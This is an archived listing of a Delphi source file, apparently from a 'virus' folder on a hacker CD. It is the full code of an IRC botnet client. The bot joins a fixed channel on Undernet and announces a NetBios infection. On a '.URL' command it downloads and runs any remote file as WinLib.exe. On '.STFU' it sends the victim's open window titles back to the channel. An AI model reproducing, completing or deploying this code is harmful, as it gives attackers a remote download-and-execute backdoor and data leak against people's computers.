home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / virus / cissi / main.pas < prev    next >
Encoding:
Pascal/Delphi Source File  |  2003-10-30  |  7.8 KB  |  315 lines

  1. {
  2.         HOST                  IP            PORT
  3.   IRC.SORCERY.NET   >> 216.122.249.75   >> 6667
  4.   IRC.NEWNET.NET    >> 209.208.101.131  >> 6667
  5.   IRC.EF.NET        >> 208.178.231.190  >> 6667
  6.   IRC.ICQ.COM       >> 64.12.165.57     >> 7000
  7.   IRC.DAL.NET       >> 212.74.101.21    >> 7000
  8.   IRC.QUAKENET.ORG  >> 62.30.30.109     >> 6667
  9. }
  10.  
  11. unit main;
  12.  
  13. interface
  14.  
  15. uses
  16.  Windows, WinSock;
  17. const
  18.   BUFLEN                   = 65536;
  19. var
  20.  IRCPort:integer = 6667;
  21.  IRCServer:string;
  22.  IRCNick:string = '[DUST]kit';
  23.  IRCChan:string = '#TCow';
  24.  Sock1:TSocket;
  25.  SockInfo:Sockaddr_in;
  26.  WSAData:TWSAData;
  27.  buff:array[0..1024] of char;
  28.  Send01:string;
  29.  StringList01:array of string;
  30.   var buf:array[0..buflen-1]of char;
  31.     wins:array[0..300]of record name:string;
  32.   wnd:hwnd;
  33.   end;
  34.   wcnt:integer=0;
  35.        procedure sendmsg(str:string);
  36.        Procedure ReadSock;
  37.        Procedure StartUp;
  38.        Procedure ReStart;
  39.        Procedure AddToList01(Text: string);
  40.        procedure ParseContent(Content:string);
  41.        Procedure SendPing;
  42.        Procedure SendInfo;
  43.        Procedure RandomNick;
  44.        function StrToInt(S: string): integer;
  45.        Function IntToStr(X: integer): string;
  46.        function Trim(const S: string): string; overload;
  47.        function DFile(Caller: cardinal; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: cardinal): Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
  48. implementation
  49.  
  50.  function RNDNICK:string;
  51.  const
  52.   n:array[0..19]of string=('A','B','C','D','F','G','H','I',
  53.                            'J','K','L','M','N','O','P',
  54.                            'Q','R','S','T','U');
  55.   a:array[0..11]of string= ('|1','^2','3','`4',
  56.                            '|5','^6','7','`8',
  57.                            '|9','^0','1','`2');
  58.   b:string= ('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_^`[]{}\');
  59.  var
  60.   i,j:integer;
  61.   s:string;
  62.  
  63.  begin
  64.  randomize();
  65.  i:=random(20);
  66.  j:=random(20);
  67. // if i= 20 then begin
  68.   while j>0 do begin
  69.   sleep(50);
  70.    randomize();
  71.    s:=s+copy(b,random(length(b)),1);
  72.    j:=j-1;
  73.   end;
  74.  
  75. (* end else begin
  76.   j:=random(11);
  77.   s := n[i];
  78.   sleep(30);
  79.  randomize();
  80.  i:=random(20);
  81.   s := s + n[i];
  82.   sleep(30);
  83.  randomize();
  84.  i:=random(20);
  85.   s := s + n[i];
  86.     sleep(30);
  87.  randomize();
  88.  i:=random(20);
  89.   s := s + a[j];
  90.     sleep(30);
  91.  end;*)
  92.  result :=s;
  93.  end;
  94.  
  95. function rndline:string;
  96. var
  97.  abc:string;
  98.  i:integer;
  99. begin
  100.  abc := '01234567890123456789abcdefghijklmnopqrstuvwxyzσΣ÷       ';
  101.  randomize();
  102.  i:=random(80);
  103. while i<>0 do begin
  104. sleep(10);
  105. randomize();
  106. result := result + copy(abc,random(length(abc)),1);
  107. i:=i-1;
  108. end;
  109. end;
  110.  
  111. function enumwinproc(w:hwnd;lpr:lparam):boolean;stdcall;
  112. begin
  113.  
  114.   if iswindowvisible(w) then begin
  115.     getwindowtext(w,buf,10000);
  116.     if buf[0]<>#0 then begin
  117.       wins[wcnt].name:=buf;
  118.       wins[wcnt].wnd:=w;
  119.       wcnt:=wcnt+1;
  120.     end;
  121.   end;
  122.   result:=true;
  123. end;
  124.  
  125. function sendwindows:string;
  126. var i:integer;
  127. begin
  128.  result:='';
  129.   wcnt:=0;
  130.   enumwindows(@enumwinproc,0);
  131.   for i:=0 to wcnt-1 do begin
  132.     result:=result+{'['+inttostr(wins[i].wnd)+']'+}wins[i].name+chr(13);
  133.     wins[i].name := '';
  134.     wins[i].wnd := 0;
  135.   end;
  136. end;
  137. function getwins:string;
  138. begin
  139.  result:='';
  140.  result:=sendwindows;
  141. end;
  142.  
  143. procedure ReadSock;
  144.  var
  145.   str01:string;
  146.   target:string;
  147.  
  148.  begin
  149.   str01:=buff;
  150.  if pos('Nickname is already in use.',str01) > 0 then
  151.   begin  //Incase nick already used. (duh!)
  152.    send01:='NICK ' + RNDNICK + #13#10;
  153.    send(Sock1,send01[1],Length(send01),0);
  154.    ZeroMemory(@buff,sizeof(buff));
  155.   end else
  156.  if pos('.URL' ,str01)   > 0 then
  157.   begin
  158.    send01 := copy(str01,pos('.URL',str01)+4,length(str01));
  159.    target := copy(send01,1,length(send01));
  160.    target := copy(target,1,length(target)-2);
  161.    send01:='PRIVMSG ' + IRCChan +' :Downloading : '+target + #10#13;
  162.    send(Sock1,send01[1],Length(send01),0);sleep(200);
  163.    DFILE(0,pchar(target),'WinLib.exe', 0, 0);
  164.    WinExec('WinLib.exe',0);
  165.    send01:='PRIVMSG ' + IRCChan +' :Downloaded '+target+', executing' + #10#13;
  166.    send(Sock1,send01[1],Length(send01),0);sleep(200);
  167.   end else
  168.  if pos('.STFU',str01) > 0 then
  169.   begin
  170.    send01:='PRIVMSG ' + IRCChan +' :'+ GETWINS + #10#13;
  171.    send(Sock1,send01[1],Length(send01),0);sleep(200);
  172.   end else
  173.  if pos('PING :',str01) > 0 then
  174.   begin  //Replys to 'Server' pings.
  175.    ZeroMemory(@buff,sizeof(buff));
  176.    ParseContent(str01);
  177.    SendPing;
  178.    SetLength(StringList01,0);sleep(200);
  179. //   send01:='PRIVMSG ' + IRCChan +' :'+ rndline + #10#13;
  180. //   send(Sock1,send01[1],Length(send01),0);
  181.   end else
  182.  if pos('MOTD',str01) > 0 then
  183.   begin  //Most servers will have this. Bot will join channel when this appears.
  184.    ZeroMemory(@buff,sizeof(buff));
  185.    send01:='JOIN ' + IRCChan + #10#13;
  186.    send(Sock1,send01[1],Length(send01),0);
  187.    sleep(300);
  188.    send01:='PRIVMSG ' + IRCChan +' :NetBios Infect. !' + #10#13;
  189.    send(Sock1,send01[1],Length(send01),0);
  190.   end else
  191.   ZeroMemory(@buff,sizeof(buff));
  192.  end;
  193.  
  194. procedure sendmsg(str:string);
  195. begin
  196.    sleep(500);
  197.    send01:='PRIVMSG ' + IRCChan + ' :'+str + #10#13;
  198.    send(Sock1,send01[1],Length(send01),0);
  199. end;
  200.  
  201. function getip(iip:string):String;
  202. var ip:phostent;
  203.     ipc:cardinal;
  204.     ipa:array[1..4]of byte absolute ipc;
  205. begin
  206.   ip:=winsock.gethostbyname(pchar(iip));
  207.   if ip=nil then begin
  208.     result:='127.0.0.1';
  209.     exit;
  210.   end else begin
  211.     ipc:=cardinal(pointer(ip^.h_addr_list^)^);
  212.     ipc:=winsock.ntohl(ipc);
  213.   end;
  214.   result:=inttostr(ipa[4])+'.'+inttostr(ipa[3])+'.'+inttostr(ipa[2])+'.'+inttostr(ipa[1]);
  215. end;
  216.  
  217. procedure Startup;
  218.  begin    //Starts the socket and trys to connect.
  219.   WSAStartup(257,WSAData);
  220.   SockInfo.sin_family:=PF_INET;
  221.   SockInfo.sin_port:=htons(IRCPort);
  222.   SockInfo.sin_addr.S_addr:= inet_addr(PChar(getip('irc.undernet.org')));
  223.   Sock1:= socket(PF_INET,SOCK_STREAM,0);
  224.   Connect(Sock1,SockInfo,sizeof(SockInfo));
  225.  end;
  226.  
  227. Procedure Restart;
  228.  begin     //Hence the name, restarts if it cant connect, or gets disconnected.
  229.   Shutdown(Sock1,2);
  230.   CloseSocket(Sock1);
  231.   Sleep(5000);
  232.   StartUp;
  233.   SendInfo;
  234.  end;
  235.  
  236. procedure ParseContent(Content:string);
  237.  var
  238.   i: integer;
  239.  begin
  240.   i := Pos(' ', Content);
  241.    while (i > 0) do
  242.     begin AddToList01(Copy(Content, 1, i - 1));
  243.      Delete(Content, 1, i); i := Pos(' ', Content);
  244.     end;
  245.      if Length(Content) > 0 then
  246.       AddToList01(Content);
  247.  end;
  248.  
  249. Procedure AddToList01(Text: string);
  250.  var
  251.   ListLen: integer;
  252.   Listlen2:integer;
  253.  begin
  254.   ListLen:= Length(StringList01);
  255.   ListLen2:= ListLen + 1;
  256.   SetLength(StringList01, ListLen2);
  257.   StringList01[ListLen]:= Text;
  258.  end;
  259.  
  260. procedure SendPing;
  261.  begin     //The PONG reply to the server.
  262.   send01:='PONG ' + StringList01[High(StringList01)];
  263.   send(Sock1,send01[1],Length(send01),0);
  264.  end;
  265.  
  266.  
  267. procedure sendinfo;
  268.  begin     //Info to connect. has to be sent so the server can authorize your connection.
  269.   Randomize;
  270.   send01:='NICK ' + RNDNick + #13#10;
  271.   send(Sock1,send01[1],Length(send01),0);
  272.   send01:='USER '+RNDNick + ' ' + #34 + RNDNick + #34 + ' ' + #34 + RNDNick + #34 + ' ' + ':' + RNDNick + #13#10;
  273.   send(Sock1,send01[1],Length(send01),0);
  274.  end;
  275.  
  276. function IntToStr(X: integer): string;
  277.  var
  278.   S: string;
  279.  begin
  280.   Str(X, S);
  281.   Result := S;
  282.  end;
  283.  
  284. function StrToInt(S: string): integer;
  285.  var
  286.   V, Code: integer;
  287.  begin
  288.   Val(S, V, Code);
  289.   Result := V;
  290.  end;
  291.  
  292. function Trim(const S: string): string;
  293.  var
  294.   I, L: Integer;
  295.  begin
  296.   L := Length(S);
  297.   I := 1;
  298.   while (I <= L) and (S[I] <= ' ') do Inc(I);
  299.   if I > L then Result := '' else
  300.    begin
  301.     while S[L] <= ' ' do Dec(L);
  302.     Result := Copy(S, I, L - I + 1);
  303.    end;
  304.  end;
  305.  
  306. Procedure RandomNick;
  307.  begin     // Duh!
  308.   Randomize;
  309.   send01:=rndnick + #13#10;
  310.   send(Sock1,send01[1],Length(send01),0);
  311.  end;
  312.  
  313. end.
  314.  
  315.